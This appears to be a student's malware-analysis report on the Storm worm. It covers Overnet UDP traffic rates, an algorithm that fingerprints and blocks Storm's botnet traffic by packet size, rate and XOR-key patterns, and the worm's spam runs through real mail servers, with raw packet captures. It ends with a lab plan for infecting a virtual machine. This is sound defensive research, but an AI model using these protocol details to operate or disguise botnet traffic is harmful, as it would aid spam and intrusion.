SearchResults
SearchResult
2000
SearchEnd
Publish
1500
Published
1000
GetIDReply
GetMyIP
500
GetMyIPReply
GetMyIPDone
21:10
20:30
19:50
19:10
18:30
17:50
17:10
16:30
15:50
15:10
14:30
13:50
13:10
12:30
11:50
11:10
10:30
09:50
09:10
08:30
07:50
07:10
0
GetID
Time
Outgoing UDP packets
Day 1
6000
Connect
5000
ConnectReply
Publicized
4000
Search
SearchReply
SearchResults
3000
SearchResult
SearchEnd
Publish
2000
Published
GetIDReply
GetMyIP
1000
GetMyIPReply
GetMyIPDone
GetID
Time
21:10
20:30
19:50
19:10
18:30
17:50
17:10
16:30
15:50
15:10
14:30
13:50
13:10
12:30
11:50
11:10
10:30
09:50
09:10
08:30
07:50
0
07:10
Packets per minute
Publicize
Incoming UDP packets
Day 2
6000
Connect
ConnectReply
Publicize
Publicized
Search
SearchReply
SearchResults
SearchResult
SearchEnd
Publish
Published
GetIDReply
GetMyIP
GetMyIPReply
GetMyIPDone
GetID
Packets per m inute
5000
4000
3000
2000
1000
23:10
00:00
00:50
01:40
02:30
03:20
04:10
05:00
05:50
06:40
07:30
08:20
09:10
10:00
10:50
11:40
12:30
13:20
14:10
15:00
15:50
16:40
17:30
18:20
19:10
20:00
0
Tim e
Outgoing UDP packets
Day 2
6000
Connect
ConnectReply
Publicize
Publicized
Search
SearchReply
SearchResults
SearchResult
SearchEnd
Publish
Published
GetIDReply
GetMyIP
GetMyIPReply
GetMyIPDone
GetID
4000
3000
2000
1000
0
23:10
00:00
00:50
01:40
02:30
03:20
04:10
05:00
05:50
06:40
07:30
08:20
09:10
10:00
10:50
11:40
12:30
13:20
14:10
15:00
15:50
16:40
17:30
18:20
19:10
20:00
Packets per m inute
5000
Tim e
Incoming UDP packets
Day 3
5000
4500
Connect
ConnectReply
Publicize
Publicized
Search
SearchReply
SearchResults
SearchResult
SearchEnd
Publish
Published
GetIDReply
GetMyIP
GetMyIPReply
GetMyIPDone
GetID
Packets per m inute
4000
3500
3000
2500
2000
1500
1000
500
23:20
00:00
00:40
01:20
02:00
02:40
03:20
04:00
04:40
05:20
06:00
06:40
07:20
08:00
08:40
09:20
10:00
10:40
11:20
12:00
12:40
13:20
14:00
14:40
15:20
16:00
0
Tim e
Outgoing UDP packets
Day 3
5000
4500
Connect
ConnectReply
Publicize
Publicized
Search
SearchReply
SearchResults
SearchResult
SearchEnd
Publish
Published
GetIDReply
GetMyIP
GetMyIPReply
GetMyIPDone
GetID
3500
3000
2500
2000
1500
1000
500
0
23:20
00:00
00:40
01:20
02:00
02:40
03:20
04:00
04:40
05:20
06:00
06:40
07:20
08:00
08:40
09:20
10:00
10:40
11:20
12:00
12:40
13:20
14:00
14:40
15:20
16:00
Packets per m inute
4000
Tim e
The above graphs describes the rate of packets received during the monitoring time.
Each colored line in the graph describes packets rate for specific Overnet type of packets.
We can see that when Storm's starting, on the first ½ – 1½ hours, Storm is going though a
bootstrap process in order to join the DHT and accumulate enough known active peers.
During the bootstrap process, it gets a lot of Publicize and Connect packets from other
machines in the bot-net.
After Storm accumulated enough peer and possess a steady list of active peers, the botnet traffic get stabilized and we can see constant behavior of incoming/outgoing packet
types.
Note that the following holds in stable state:
➢ Outgoing Publicize packets rate is about 4,250 packets per minute.
➢ Incoming Publicized packets rate is about 1,250 packets per minute.
➢ Outgoing Connect packets rate is about 200 packets per minute.
➢ Incoming ConnectReply packets rate is about 200 packets per minute.
Also we note that those 4 kinds of packet is composing most of the traffic which is
incoming from/outgoing to Storm's UDP port.
So we can conclude that in the outgoing channel, Publicize packets are 95.5% of the
traffic and Connect packets are 4.5%.
Also, in the incoming channel, Publicized packets are 86.2% of the traffic and
ConnectReply packets are 13.8%.
Algorithm to detect Storm traffic in a network
In this section I will describe an algorithm to detect Storm communications in a network
so it can be used to block the specific ports used for this communications and thus disable
Storm.
The algorithm tries to detect Storm's UDP communications in order to block them.
By blocking the UDP communication, Storm will not be able to find the IP address and
TCP port numbers of its secondary injection files and thus it won't be unable to evolve,
send spam or execute DDoS attacks.
In this algorithm every (IP address, UDP port) pair which is active on the network is kept
separately under surveillance.
The algorithm can be described as a simple state machine which holds on every (IP
address, UDP port) pair:
Legitimate UDP port (initial state):
Every newly discovered (IP address, UDP port) pair is put into this state.
In this state traffic is allowed on both direction.
A (IP address, UDP port) pair is moved into the “suspicious UDP port” state if all of the
following holds in the same time:
1. There are more than 2000 outgoing UDP packets per minute from this IP:port.
2. There are more than 1000 incoming UDP packets per minute to this IP:port.
3. 90% or more of the outgoing packets are of size 25.
4. 80% or more of the incoming packets are of size 2.
Suspicious UDP port:
In this state we suspect that this (IP address, UDP port) is used for Storm's bot-net
communications but still didn't fully proved it.
So traffic on both sides are still allowed but we soon commence more computationally
expensive operations to determine of this (IP address, IDP port) is Storm's.
In this state we need to record all the incoming/outgoing packet to/from the suspicious
UDP port for specified period of time, lets say 10 minutes.
Note that it could be optimized such that we won't have to record all of the packets but
for the simplicity I'll describe the unoptimized algorithm.
After those 10 minutes elapsed we decide our next move:
A (IP address, UDP port) pair is moved into the “Storm or Overnet UDP port” state if all
the following condition regarding the packets which were collected holds. Otherwise we
move back into the “Legitimate UDP port” state:
1. The Overnet signature condition:
99% of the packets data begins with the same byte value – In my variation of
Storm this value was 0x10 but it can be any other byte depending on the
encryption key. What is important is that given an encryption key KEY[0..39], the
first byte of every packet is always 0xE3 XOR KEY[0] which is constant.
2. The packet types frequency condition:
➔ In this condition we'll try to match packets to their type according to the
frequencies that they are transmitted in the network.
We group all the collected incoming packets into “buckets” such that in every
bucket there will be only packets with the same value in the second byte of the
UDP data. Then we locate the biggest bucket (dubbed it Ain) and the second
biggest bucket (dubbed it Bin).
We do the same for outgoing packets and find Aout and Bout.
Now we expect those conditions to hold for a Storm communications:
1. Ain bucket holds packet of size 25 bytes and contain 50% or more of all the
incoming packets recorded (Publicized packets).
2. Bin bucket holds packet of size 4 or more bytes and contain 10% or more of all
the incoming packets recorded (ConnectReply packets).
3. Aout bucket holds packet of size 25 bytes and contain 60% or more of all the
incoming packets recorded (Publicize packets).
4. Bout bucket holds packet of size 25 bytes and contain 3% or more of all the
incoming packets recorded (Connect packets).
3. We can further validate our suspicious about Storm communication from this port
but looking at the packets' content:
Let PIj be a packet from the bucket Ij. for example PAin is a packet from Ain.
And let P[k] be the k-th byte in the packet P (k = 0 is the first byte.
Since (A⊕KEY)⊕(Β⊕KEY)=(A⊕Β) we can check the following to verify our
assumption:
Check the Overnet packet type byte correctness:
1. PAin[1] ⊕ PBin[k] = 0x0B ⊕ 0x0D = 0x06.
2. PAin[1] ⊕ PAout[k] = 0x0B ⊕ 0x0C= 0x07.
3. PAin[1] ⊕ PBout[k] = 0x0B ⊕ 0x0A= 0x01.
Check that fields in the Overnet packet has the values that we expect. For
example:
●
Finds a packet Publicizein in the recorded incoming packet such that:
Paout[1] = Publicizein[1] (the incoming packet is of type Publicize).
Now we can check that:
Paout[0x11..0x17] ⊕ Publicizein[0x11..0x17] = The XOR result of the (IP
address, UDP port) of the suspicious port and the (IP address, UDP port) of
the Publicize packet sender.
Storm or Overnet UDP port:
In this state we know that the application behind the port is either a Storm or a legitimate
Overnet client.
Note that this state comes to distinguish between normal Overnet traffic (file sharing) and
Storm's traffic.
But since the Overnet resources were brought down by RIAA on 2006 (because of
copyright violation issues) one can assume that there are no Overnet clients remains in
the Internet and the only Overnet communications are Storm's.
So by accepting those assumption we can delete this state and move directly to the
“Storm UDP port” state upon detection of Overnet data packets.
First of all, if the first bytes in all of the recorded UDP packets is NOT a plain 0xE3 we
know that those packets are encoded, and since Overnet doesn't decode packets it must be
Storm packets so we move into the “Storm UDP port” state.
If the first byte of the UDP packets is 0xE3 then the application behind this port is either
an Overnet client or a variant of Storm which doesn't encrypt it's packets (there is a slight
possibility that this variant of Storm does encrypt its packet but is using a XOR
encryption key with the first byte of 0 but we'll ignore this possibility).
In this case we'll check our recoded packets for packet with data which is specific to
Storm and not used by Overnet.
For example if we found packets of type 0x1E (GetMyID) which is only used by Storm
that we can conclude that the application behind this port is Storm and move into the
“Storm UDP port” state.
Storm UDP port:
In this state we know for certain that the application behind this port is Storm so we don't
allow traffic to/from the (IP address, UDP port).
Spam activity
Storm also used my VM to spread Spam mail over the Internet.
The worm implements a simple SMTP client which connects some known SMTP servers
(which probably obtained from the P2P network) and send Spam though them.
The 50 most communicated SMTP servers in those 3 days:
IP Address
Name
Packets exchanged
209.85.135.27
mu-in-f27.google.com
8681
216.239.59.27
gv-in-f27.google.com
6220
209.85.135.114
mu-in-f114.google.com
5990
65.54.244.72
bay0-mc3-f.bay0.hotmail.com
3030
64.18.5.10
s6a1.psmtp.com
2886
64.18.7.10
s8a1.psmtp.com
2801
207.159.120.164
2581
64.18.6.14
s7a1.psmtp.com
2530
65.54.245.72
mx3.hotmail.com
2247
24.71.223.11
idcmail-mx1so.cg.shawcable.net
2144
195.50.106.135
2110
216.163.188.58
eforwardct.name-services.com
1780
65.54.245.104
mx4.hotmail.com
1772
65.54.244.8
mx1.hotmail.com
1552
64.18.4.10
1528
77.75.72.42
1435
213.180.130.86
1297
65.54.244.200
216.32.180.22
1114
mail.global.frontbridge.com
1113
216.163.188.54
1041
195.50.106.7
1003
206.165.245.160
849
216.32.181.22
mail.global.frontbridge.com
810
66.249.93.27
gsmtp93.google.com
796
209.191.118.103
mta-v8.mail.vip.mud.yahoo.com
771
80.12.242.82
734
193.252.22.92
702
207.126.147.10
s200a1.psmtp.com
701
64.59.134.8
idcmail-mx1no.cg.shawcable.net
670
65.54.244.232
bay0-mc8-f.bay0.hotmail.com
587
62.211.72.32
578
217.69.20.190
cluster-d.mailcontrol.com
555
206.46.232.11
relay.verizon.net
521
66.196.97.250
mta-v1.mail.vip.re3.yahoo.com
507
205.188.159.57
499
192.12.251.94
496
206.165.245.161
494
193.251.214.113
481
81.103.221.10
477
216.163.188.60
bh1.prontomail.net
476
68.168.78.104
mx.adelphia.net
474
64.156.215.22
470
65.54.245.40
460
85.119.2.190
449
213.36.80.90
mx.libertysurf.net
213.199.154.22
437
435
207.46.51.86
mail.global.frontbridge.com
4.79.181.18
mta1-f.biz.level3.mail.vip.mud.yahoo.com 418
64.233.183.27
gsmtp183.google.com
193.252.23.67
425
418
414
Those total number of SMTP server which the worm tried to contact was 4079 servers.
Example of TCP negotiation with a SMTP server:
07:28:16.382847 IP 192.168.2.105.1376 > 64.233.183.27.25: S 3049521439:3049521439(0) win 65535 <mss
1460,nop,nop,sackOK>
0x0000: 4500 0030 71ae 4000 8006 ce03 c0a8 0269 [email protected]
0x0010: 40e9 b71b 0560 0019 b5c4 011f 0000 0000 @....`..........
0x0020: 7002 ffff 0bad 0000 0204 05b4 0101 0402 p...............
07:28:16.478291 IP 64.233.183.27.25 > 192.168.2.105.1376: S 171561730:171561730(0) ack 3049521440 win
8190 <mss 1452>
0x0000: 4500 002c 6615 0000 f406 a5a0 40e9 b71b E..,f.......@...
0x0010: c0a8 0269 0019 0560 0a39 d302 b5c4 0120 ...i...`.9......
0x0020: 6012 1ffe 2371 0000 0204 05ac 2076
`...#q.......v
07:28:16.478423 IP 192.168.2.105.1376 > 64.233.183.27.25: . ack 1 win 65535
0x0000: 4500 0028 71b4 4000 8006 ce05 c0a8 0269 E..([email protected]
0x0010: 40e9 b71b 0560 0019 b5c4 0120 0a39 d303 @....`.......9..
0x0020: 5010 ffff 5b24 0000 0000 0000 0000
P...[$........
07:28:16.577700 IP 64.233.183.27.25 > 192.168.2.105.1376: P 1:45(44) ack 1 win 5720
0x0000: 4548 0054 f022 0000 3506 da23 40e9 b71b EH.T."..5..#@...
0x0010: c0a8 0269 0019 0560 0a39 d303 b5c4 0120 ...i...`.9......
0x0020: 5018 1658 96b4 0000 3232 3020 6d78 2e67 P..X....220.mx.g
0x0030: 6f6f 676c 652e 636f 6d20 4553 4d54 5020 oogle.com.ESMTP.
0x0040: 6634 7369 3134 3739 3839 3035 6e66 682e f4si14798905nfh.
0x0050: 3237
27
07:28:16.578890 IP 192.168.2.105.1376 > 64.233.183.27.25: P 1:42(41) ack 45 win 65491
0x0000: 4500 0051 71b8 4000 8006 cdd8 c0a8 0269 [email protected]
0x0010: 40e9 b71b 0560 0019 b5c4 0120 0a39 d32f @....`.......9./
0x0020: 5018 ffd3 b5f8 0000 4845 4c4f 2038 392d P.......HELO.890x0030: 3133 382d 3235 322d 3130 302e 6262 2e6e 138-252-100.bb.n
0x0040: 6574 7669 7369 6f6e 2e6e 6574 2e69 6c0d etvision.net.il.
0x0050: 0a
.
07:28:16.677519 IP 64.233.183.27.25 > 192.168.2.105.1376: . ack 42 win 5720
0x0000: 4548 0028 f023 0000 3506 da4e 40e9 b71b EH.(.#..5..N@...
0x0010: c0a8 0269 0019 0560 0a39 d32f b5c4 0149 ...i...`.9./...I
0x0020: 5010 1658 4477 0000 80f9 0560 0a39
P..XDw.....`.9
07:28:16.678462 IP 64.233.183.27.25 > 192.168.2.105.1376: P 45:80(35) ack 42 win 5720
0x0000: 4548 004b f024 0000 3506 da2a 40e9 b71b EH.K.$..5..*@...
0x0010: c0a8 0269 0019 0560 0a39 d32f b5c4 0149 ...i...`.9./...I
0x0020: 5018 1658 17ad 0000 3235 3020 6d78 2e67 P..X....250.mx.g
0x0030: 6f6f 676c 652e 636f 6d20 6174 2079 6f75 oogle.com.at.you
0x0040: 7220 7365 7276 6963 650d 0a
r.service..
07:28:16.679446 IP 192.168.2.105.1376 > 64.233.183.27.25: P 42:78(36) ack 80 win 65456
0x0000: 4500 004c 71c0 4000 8006 cdd5 c0a8 0269 [email protected]
0x0010: 40e9 b71b 0560 0019 b5c4 0149 0a39 d352 @....`.....I.9.R
0x0020: 5018 ffb0 7ef4 0000 4d41 494c 2046 726f P...~...MAIL.Fro
0x0030: 6d3a 3c6a 6263 3231 4069 676c 2e73 7461 m:<[email protected]
0x0040: 6e66 6f72 642e 6564 753e 0d0a
nford.edu>..
07:28:16.848263 IP 64.233.183.27.25 > 192.168.2.105.1376: . ack 78 win 5720
0x0000: 4548 0028 f025 0000 3506 da4c 40e9 b71b EH.(.%..5..L@...
0x0010: c0a8 0269 0019 0560 0a39 d352 b5c4 016d ...i...`.9.R...m
0x0020: 5010 1658 4430 0000 3292 0560 0a39
P..XD0..2..`.9
07:28:16.986461 IP 64.233.183.27.25 > 192.168.2.105.1376: P 80:94(14) ack 78 win 5720
0x0000: 4548 0036 f026 0000 3506 da3d 40e9 b71b EH.6.&..5..=@...
0x0010: c0a8 0269 0019 0560 0a39 d352 b5c4 016d ...i...`.9.R...m
0x0020: 5018 1658 f1f2 0000 3235 3020 322e 312e P..X....250.2.1.
0x0030: 3020 4f4b 0d0a
0.OK..
07:28:16.987061 IP 192.168.2.105.1376 > 64.233.183.27.25: P 78:107(29) ack 94 win 65442
0x0000: 4500 0045 7260 4000 8006 cd3c c0a8 0269 E..Er`@....<...i
0x0010: 40e9 b71b 0560 0019 b5c4 016d 0a39 d360 @....`.....m.9.`
0x0020: 5018 ffa2 c7da 0000 5243 5054 2054 4f3a P.......RCPT.TO:
0x0030: 3c64 7065 7369 636b 4067 6d61 696c 2e63 <[email protected]
0x0040: 6f6d 3e0d 0a
om>..
07:28:17.292802 IP 64.233.183.27.25 > 192.168.2.105.1376: P 80:94(14) ack 78 win 5720
0x0000: 4548 0036 f027 0000 3506 da3c 40e9 b71b EH.6.'..5..<@...
0x0010: c0a8 0269 0019 0560 0a39 d352 b5c4 016d ...i...`.9.R...m
0x0020: 5018 1658 f1f2 0000 3235 3020 322e 312e P..X....250.2.1.
0x0030: 3020 4f4b 0d0a
0.OK..
07:28:17.292929 IP 192.168.2.105.1376 > 64.233.183.27.25: . ack 94 win 65442
0x0000: 4500 0028 7280 4000 8006 cd39 c0a8 0269 E..([email protected]
0x0010: 40e9 b71b 0560 0019 b5c4 018a 0a39 d360 @....`.......9.`
0x0020: 5010 ffa2 5aba 0000 0000 0000 0000
P...Z.........
07:28:17.349632 IP 64.233.183.27.25 > 192.168.2.105.1376: . ack 107 win 5720
0x0000: 4548 0028 f028 0000 3506 da49 40e9 b71b EH.(.(..5..I@...
0x0010: c0a8 0269 0019 0560 0a39 d360 b5c4 018a ...i...`.9.`....
0x0020: 5010 1658 4405 0000 45a0 0560 0a39
P..XD...E..`.9
07:28:20.320348 IP 192.168.2.105.1376 > 64.233.183.27.25: . 106:107(1) ack 94 win 65442
0x0000: 4500 0029 745e 4000 8006 cb5a c0a8 0269 E..)t^@....Z...i
0x0010: 40e9 b71b 0560 0019 b5c4 0189 0a39 d360 @....`.......9.`
0x0020: 5010 ffa2 5aba 0000 0000 0000 0000
P...Z.........
07:28:20.539098 IP 192.168.2.105.1376 > 64.233.183.27.25: . 106:107(1) ack 94 win 65442
0x0000: 4500 0029 7467 4000 8006 cb51 c0a8 0269 E..)[email protected]
0x0010: 40e9 b71b 0560 0019 b5c4 0189 0a39 d360 @....`.......9.`
0x0020: 5010 ffa2 5aba 0000 0000 0000 0000
P...Z.........
07:28:20.656725 IP 64.233.183.27.25 > 192.168.2.105.1376: . ack 107 win 5720
0x0000: 4548 0028 f029 0000 3506 da48 40e9 b71b EH.(.)..5..H@...
0x0010: c0a8 0269 0019 0560 0a39 d360 b5c4 018a ...i...`.9.`....
0x0020: 5010 1658 4405 0000 c952 530e 83b7
P..XD....RS...
07:28:20.784666 IP 64.233.183.27.25 > 192.168.2.105.1376: P 94:108(14) ack 107 win 5720
0x0000: 4548 0036 f02a 0000 3506 da39 40e9 b71b EH.6.*..5..9@...
0x0010: c0a8 0269 0019 0560 0a39 d360 b5c4 018a ...i...`.9.`....
0x0020: 5018 1658 ecc7 0000 3235 3020 322e 312e P..X....250.2.1.
0x0030: 3520 4f4b 0d0a
5.OK..
07:28:20.785267 IP 192.168.2.105.1376 > 64.233.183.27.25: P 107:113(6) ack 108 win 65428
0x0000: 4500 002e 74b8 4000 8006 cafb c0a8 0269 [email protected]
0x0010: 40e9 b71b 0560 0019 b5c4 018a 0a39 d36e @....`.......9.n
0x0020: 5018 ff94 b51f 0000 4441 5441 0d0a
P.......DATA..
07:28:20.791793 IP 64.233.183.27.25 > 192.168.2.105.1376: . ack 107 win 5720
0x0000: 4548 0028 f02b 0000 3506 da46 40e9 b71b EH.(.+..5..F@...
0x0010: c0a8 0269 0019 0560 0a39 d36e b5c4 018a ...i...`.9.n....
0x0020: 5010 1658 43f7 0000 fb14 0560 0a39
P..XC......`.9
07:28:21.078881 IP 64.233.183.27.25 > 192.168.2.105.1376: . ack 113 win 5720
0x0000: 4548 0028 f02c 0000 3506 da45 40e9 b71b EH.(.,..5..E@...
0x0010: c0a8 0269 0019 0560 0a39 d36e b5c4 0190 ...i...`.9.n....
0x0020: 5010 1658 43f1 0000 bba6 0560 0a39
P..XC......`.9
07:28:21.079556 IP 64.233.183.27.25 > 192.168.2.105.1376: P 108:122(14) ack 113 win 5720
0x0000: 4548 0036 f02d 0000 3506 da36 40e9 b71b EH.6.-..5..6@...
0x0010: c0a8 0269 0019 0560 0a39 d36e b5c4 0190 ...i...`.9.n....
0x0020: 5018 1658 9de1 0000 3335 3420 476f 2061 P..X....354.Go.a
0x0030: 6865 6164 0d0a
head..
07:28:21.080060 IP 192.168.2.105.1376 > 64.233.183.27.25: P 113:787(674) ack 122 win 65414
0x0000: 4500 02ca 74c9 4000 8006 c84e c0a8 0269 [email protected]
0x0010: 40e9 b71b 0560 0019 b5c4 0190 0a39 d37c @....`.......9.|
0x0020: 5018 ff86 da61 0000 5265 6365 6976 6564 P....a..Received
0x0030: 3a20 2871 6d61 696c 2032 3030 3433 2069 :.(qmail.20043.i
0x0040: 6e76 6f6b 6564 2066 726f 6d20 6e65 7477 nvoked.from.netw
0x0050: 6f72
or
07:28:21.247349 IP 64.233.183.27.25 > 192.168.2.105.1376: . ack 787 win 6740
0x0000: 4548 0028 f02e 0000 3506 da43 40e9 b71b EH.(....5..C@...
0x0010: c0a8 0269 0019 0560 0a39 d37c b5c4 0432 ...i...`.9.|...2
0x0020: 5010 1a54 3d45 0000 5e88 0560 0a39
P..T=E..^..`.9
07:28:21.247489 IP 192.168.2.105.1376 > 64.233.183.27.25: P 787:792(5) ack 122 win 65414
0x0000: 4500 002d 74d7 4000 8006 cadd c0a8 0269 [email protected]
0x0010: 40e9 b71b 0560 0019 b5c4 0432 0a39 d37c @....`.....2.9.|
0x0020: 5018 ff86 12ee 0000 0d0a 2e0d 0a00
P.............
07:28:21.348111 IP 64.233.183.27.25 > 192.168.2.105.1376: . ack 792 win 6740
0x0000: 4548 0028 f02f 0000 3506 da42 40e9 b71b EH.(./..5..B@...
0x0010: c0a8 0269 0019 0560 0a39 d37c b5c4 0437 ...i...`.9.|...7
0x0020: 5010 1a54 3d40 0000 80cd 0560 0a39
P..T=@.....`.9
07:28:21.682591 IP 192.168.2.105.1376 > 64.233.183.27.25: P 792:798(6) ack 428 win 65108
0x0000: 4500 002e 74f9 4000 8006 caba c0a8 0269 [email protected]
0x0010: 40e9 b71b 0560 0019 b5c4 0437 0a39 d4ae @....`.....7.9..
0x0020: 5018 fe54 b04b 0000 5155 4954 0d0a
P..T.K..QUIT..
07:28:21.789374 IP 64.233.183.27.25 > 192.168.2.105.1376: . ack 798 win 6740
0x0000: 4548 0028 f031 0000 3506 da40 40e9 b71b EH.(.1..5..@@...
0x0010: c0a8 0269 0019 0560 0a39 d4ae b5c4 043d ...i...`.9.....=
0x0020: 5010 1a54 3c08 0000 7dda 0560 0a39
P..T<...}..`.9
07:28:21.790192 IP 64.233.183.27.25 > 192.168.2.105.1376: P 428:491(63) ack 798 win 6740
0x0000: 4548 0067 f032 0000 3506 da00 40e9 b71b EH.g.2..5...@...
0x0010: c0a8 0269 0019 0560 0a39 d4ae b5c4 043d ...i...`.9.....=
0x0020: 5018 1a54 6f30 0000 3232 3120 322e 302e P..To0..221.2.0.
0x0030: 3020 6d78 2e67 6f6f 676c 652e 636f 6d20 0.mx.google.com.
0x0040: 636c 6f73 696e 6720 636f 6e6e 6563 7469 closing.connecti
0x0050: 6f6e
on
07:28:21.790848 IP 64.233.183.27.25 > 192.168.2.105.1376: F 491:491(0) ack 798 win 6740
0x0000: 4548 0028 f033 0000 3506 da3e 40e9 b71b EH.(.3..5..>@...
0x0010: c0a8 0269 0019 0560 0a39 d4ed b5c4 043d ...i...`.9.....=
0x0020: 5011 1a54 3bc8 0000 2ede 0560 0a39
P..T;......`.9
07:28:21.790978 IP 192.168.2.105.1376 > 64.233.183.27.25: . ack 492 win 65045
0x0000: 4500 0028 7546 4000 8006 ca73 c0a8 0269 E..([email protected]
0x0010: 40e9 b71b 0560 0019 b5c4 043d 0a39 d4ee @....`.....=.9..
0x0020: 5010 fe15 5806 0000 0000 0000 0000
P...X.........
07:28:21.794294 IP 192.168.2.105.1376 > 64.233.183.27.25: F 798:798(0) ack 492 win 65045
0x0000: 4500 0028 7547 4000 8006 ca72 c0a8 0269 E..([email protected]
0x0010: 40e9 b71b 0560 0019 b5c4 043d 0a39 d4ee @....`.....=.9..
0x0020: 5011 fe15 5805 0000 0000 0000 0000
P...X.........
07:28:22.022211 IP 64.233.183.27.25 > 192.168.2.105.1376: . ack 799 win 6740
0x0000: 4500 0028 f034 0000 3506 da85 40e9 b71b E..(.4..5...@...
0x0010: c0a8 0269 0019 0560 0a39 d4ee b5c4 043e ...i...`.9.....>
0x0020: 5010 1a54 3bc7 0000 6ee0 0560 0a39
P..T;...n..`.9
Note that some SMTP server did recognized the worm's mails as Spam and refused to
continue the mailing process:
07:25:59.952091 IP 209.86.93.229.25 > 192.168.2.105.1265: P 123:239(116) ack 42 win 24684
0x0000: 4548 009c 1640 4000 3006 4187 d156 5de5 EH...@@.0.A..V].
0x0010: c0a8 0269 0019 04f1 7e74 d489 39e9 981d ...i....~t..9...
0x0020: 5018 606c b6cf 0000 3235 3020 6d78 2d6c P.`l....250.mx-l
0x0030: 6175 6768 696e 672e 6174 6c2e 7361 2e65 aughing.atl.sa.e
0x0040: 6172 7468 6c69 6e6b 2e6e 6574 2048 656c arthlink.net.Hel
0x0050: 6c6f
lo
07:25:59.955171 IP 192.168.2.105.1265 > 209.86.93.229.25: P 42:80(38) ack 239 win 65297
0x0000: 4500 004e 2484 4000 8006 e3d8 c0a8 0269 [email protected]
0x0010: d156 5de5 04f1 0019 39e9 981d 7e74 d4fd .V].....9...~t..
0x0020: 5018 ff11 b771 0000 4d41 494c 2046 726f P....q..MAIL.Fro
0x0030: 6d3a 3c6a 6f68 6e2e 7374 7261 7474 6f6e m:<john.stratton
0x0040: 4068 7269 6863 692e 636f 6d3e 0d0a
@hrihci.com>..
07:26:00.218967 IP 209.86.93.229.25 > 192.168.2.105.1265: P 239:327(88) ack 80 win 24684
0x0000: 4548 0080 1642 4000 3006 41a1 d156 5de5 [email protected]].
0x0010: c0a8 0269 0019 04f1 7e74 d4fd 39e9 9843 ...i....~t..9..C
0x0020: 5018 606c dd3f 0000 3535 3020 3535 3020 P.`l.?..550.550.
0x0030: 4479 6e61 6d69 632f 7a6f 6d62 6965 642f Dynamic/zombied/
0x0040: 7370 616d 2049 5073 2062 6c6f 636b 6564 spam.IPs.blocked
0x0050: 2e20
..
07:26:00.225402 IP 192.168.2.105.1265 > 209.86.93.229.25: P 80:86(6) ack 328 win 65209
0x0000: 4500 002e 249d 4000 8006 e3df c0a8 0269 [email protected]
0x0010: d156 5de5 04f1 0019 39e9 9843 7e74 d556 .V].....9..C~t.V
0x0020: 5018 feb9 ec09 0000 5155 4954 0d0a
P.......QUIT..
Appendix A
Suggested work-plan:
1. Set up a virtual machine running Window XP.
2. Install the following programs listed in Appendix B.
3. Create 3 email accounts and configure Outlook express to the default identity of
one of those accounts and then add the other two accounts to the address book and
send a mail to one of them.
This will be used later as a reference to Storm’s email address stealing
capabilities.
4. Save a copy of the .pst file made by outlook express for later compression.
5. Dump the memory image of services.exe before the infection to a file.
6. Dump the running processes and running services to a file.
7. Make sure the network is idle and there is no program which tries to communicate
with the network.
8. Start all the monitoring programs: Wireshark, RegMon, FileMon.
9. Run strace NT on Storm’s dropper. Dump the trace into log which will later be
analyzed for a detailed infection process.
10. Dump the memory of services.exe after the infection.
11. Dump the running processes and running services to a file.
12. Analyze the infection process:
•
Suspicious system call made by the dropper.
•
Any file-system/registery/network activity.
•
Differences in services.exe memory image.
•
Any new processes/services which had been created during the execution
of the dropper.
•
Run windbg.exe on services.exe try to analyze the worm behavior.
13. Run strace NT on services.exe and dump the information into a log (I will
probably stop strace if the log will be filled to much).
14. Run the infected machine for 3 days while analyzing its network and file-system
activities (and potentially system calls activities).
15. Compare the content of the current .pst file and the old one before the infection to
see if the worm had changed its content.
Appendix B
Programs used for this project
 Operating systems:
• Host operating system
Fedora Core 9 86_x64 based on Linux 2.6.25.4-30.fc9.x86_64 kernel.
http://fedoraproject.org/
• Guest operating system
Window XP w/ service pack 2.
 Programs installed on the guest operating system:
• Network traffic monitoring:
Wireshark
http://www.wireshark.org/
•
RootKit detectors:
RKDetector:
http://www.rkdetector.com/
RootKit Revealer
http://technet.microsoft.com/en-us/sysinternals/bb897445.aspx
RootKit buster
http://www.trendmicro.com/download/rbuster.asp
•
System calls trace:
Strace NT
http://www.intellectualheaven.com/default.asp?BH=projects&H=strace.htm
•
Process viewing (also allows to dump process memory in a file):
CurrProcess
http://www.nirsoft.net/utils/cprocess.html
•
Registery monitoring:
RegMon
http://www.microsoft.com/technet/sysinternals/ProcessesAndThreads/Regmon.mspx
•
File-system activity monitoring:
FileMon
http://technet.microsoft.com/en-us/sysinternals/bb896642.aspx
• Debugging Tools for Windows:
http://www.microsoft.com/whdc/devtools/debugging/installx86.mspx
•
EXE file viewer:
Anywhere PE viewer
http://www.ucware.com/apev/index.htm
In addition, make sure the following program was installed during Windows
installation:
• netstat – View currently opened TCP/UDP sockets, their connection status
(i.e. ESTABLISHED, SYN_SENT …) and associate them to a running
process.
• tasklist – View currently running process and services. Associate services to
its hosting process.
 Programs installed on the host operating system:
 Virtual machine manager:
QEMU 0.9.1 – open source processor emulator
http://bellard.org/qemu/
kvm-65-7.fc9.x86_64 – Provides qemu support of hardware virtualization
extension (I had Intel processor with VT).
http://kvm.qumranet.com/kvmwiki
 Virtual Ethernet bridge:
bridge-utils-1.2-4.fc9.x86_64 package
http://www.linuxfoundation.org/en/Net:Bridge
 Ethernet packet sniffing:
libpcap 0.9.8 – Packet filtering library
tcpdump 3.9.8 – Sniff & analyze Ethernet packets from specific network
interface
http://www.tcpdump.org/
 JavaScript debugger:
Firebug
http://getfirebug.com/
Appendix C
Planned schedule:
•
All of the environment setup (steps 1-8) should be done until 29/6.
•
Running Storm’s dropper (steps 9-13 and 14 partly – only a small draft of the
worm analyzing) until 17/7 (this includes making sure that the worm will act
normally in my environment, for example I usually use NAT with certain ports
forwarding and I need to make sure that I won’t hurt the worm’s normal
behavior).
•
Full analysis the results (step 14-15) and submitting the first report until 3/8.
•
During 4/8 until 14/9 I’m planning to further investigate the worm according to
the first analysis I made – Probably re-infect an healthy machine again to inspect
the infection sequence further and plan more experiments according to the
information I’ll collect in the midterm report.
During this period I will have tests on other course so I’ll try my best to utilize my
time and conduct significant experiments for further investigation of the worm.
•
14/9 – Final report.